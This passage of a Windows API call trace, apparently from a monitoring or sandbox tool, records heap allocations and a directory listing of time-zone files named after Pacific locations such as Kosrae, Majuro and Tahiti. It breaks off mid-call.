[0088.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.854] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kosrae", cAlternateFileName="")) returned 1 [0088.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0c88 [0088.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed720 [0088.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.856] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kwajalein", cAlternateFileName="")) returned 1 [0088.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ca8 [0088.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed7a8 [0088.857] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.857] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Majuro", cAlternateFileName="")) returned 1 [0088.857] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0cc8 [0088.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed830 [0088.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.859] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marquesas", cAlternateFileName="")) returned 1 [0088.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ce8 [0088.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed8b8 [0088.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.861] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Midway", cAlternateFileName="")) returned 1 [0088.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0d08 [0088.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed940 [0088.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.863] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nauru", cAlternateFileName="")) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0d28 [0088.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ed9c8 [0088.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.864] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Niue", cAlternateFileName="")) returned 1 [0088.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.865] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0d48 [0088.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eda50 [0088.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.866] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Norfolk", cAlternateFileName="")) returned 1 [0088.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.866] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0d68 [0088.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edad8 [0088.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.868] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Noumea", cAlternateFileName="")) returned 1 [0088.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0d88 [0088.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edb60 [0088.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.869] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pago_Pago", cAlternateFileName="")) returned 1 [0088.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0da8 [0088.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edbe8 [0088.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Palau", cAlternateFileName="")) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0dc8 [0088.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edc70 [0088.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8c80) returned 0x12f2380 [0088.873] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitcairn", cAlternateFileName="")) returned 1 [0088.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0de8 [0088.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edcf8 [0088.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pohnpei", cAlternateFileName="")) returned 1 [0088.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0e08 [0088.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edd80 [0088.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.876] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Port_Moresby", cAlternateFileName="")) returned 1 [0088.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0e28 [0088.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ede08 [0088.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.877] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rarotonga", cAlternateFileName="")) returned 1 [0088.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0e48 [0088.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ede90 [0088.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.879] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saipan", cAlternateFileName="")) returned 1 [0088.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0e68 [0088.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edf18 [0088.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.881] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tahiti", cAlternateFileName="")) returned 1 [0088.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0e88 [0088.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12edfa0 [0088.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.883] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tarawa", cAlternateFileName="")) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ea8 [0088.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee028 [0088.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.884] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tongatapu", cAlternateFileName="")) returned 1 [0088.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0ec8 [0088.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee0b0 [0088.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746ac100, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746ac100, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746ac100, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wake", cAlternateFileName="")) returned 1 [0088.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 